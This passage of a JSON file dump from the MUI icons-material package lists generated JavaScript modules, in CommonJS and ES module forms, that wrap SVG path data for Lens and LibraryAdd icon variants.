    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensBlurTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 13c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-3 .5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M6 5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m15 5.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M14 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0-3.5c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5m-11 10c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m7 7c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m0-17c.28 0 .5-.22.5-.5s-.22-.5-.5-.5-.5.22-.5.5.22.5.5.5M10 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m8 .5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-8c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0-4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3 8.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5M14 17c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m0 3.5c-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5-.22-.5-.5-.5m-4-12c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0 8.5c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m4-4.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-4c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'LensBlurTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2\"\n}), 'LensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'LensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LensTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'LensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'LibraryAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'LibraryAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryAddCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryAddCheck');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryAddCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}), 'LibraryAddCheckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.24 11.28L9.69 11.2c-.38-.39-.38-1.01 0-1.4.39-.39 1.02-.39 1.41 0l1.36 1.37 4.42-4.46c.39-.39 1.02-.39 1.41 0 .38.39.38 1.01 0 1.4l-5.13 5.17c-.37.4-1.01.4-1.4 0M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1\"\n}), 'LibraryAddCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.24 11.28L9.69 11.2c-.38-.39-.38-1.01 0-1.4.39-.39 1.02-.39 1.41 0l1.36 1.37 4.42-4.46c.39-.39 1.02-.39 1.41 0 .38.39.38 1.01 0 1.4l-5.13 5.17c-.37.4-1.01.4-1.4 0M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1\"\n}), 'LibraryAddCheckRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H6v16h16zm-9.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v16h16v-2H4z\"\n}), 'LibraryAddCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H6v16h16zm-9.53 12L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 6H2v16h16v-2H4z\"\n}), 'LibraryAddCheckSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm2.4-6.91 2.07 2.08L17.6 6 19 7.41 12.47 14 9 10.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.53-2L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 20h14v2H4c-1.1 0-2-.9-2-2V6h2z\"\n}, \"1\")], 'LibraryAddCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddCheckTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm2.4-6.91 2.07 2.08L17.6 6 19 7.41 12.47 14 9 10.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7.53-2L9 10.5l1.4-1.41 2.07 2.08L17.6 6 19 7.41zM4 20h14v2H4c-1.1 0-2-.9-2-2V6h2z\"\n}, \"1\")], 'LibraryAddCheckTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-2h2v-3h3V9h-3V6h-2v3h-3v2h3z\"\n}), 'LibraryAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-7-2h2v-3h3V9h-3V6h-2v3h-3v2h3z\"\n}), 'LibraryAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LibraryAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m17-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-2 9h-3v3c0 .55-.45 1-1 1s-1-.45-1-1v-3h-3c-.55 0-1-.45-1-1s.45-1 1-1h3V6c0-.55.45-1 1-1s1 .45 1 1v3h3c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LibraryAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'LibraryAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-3 9h-4v4h-2v-4H9V9h4V5h2v4h4z\"\n}), 'LibraryAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LibraryAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm2-7h3V6h2v3h3v2h-3v3h-2v-3h-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2M8 2c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm12 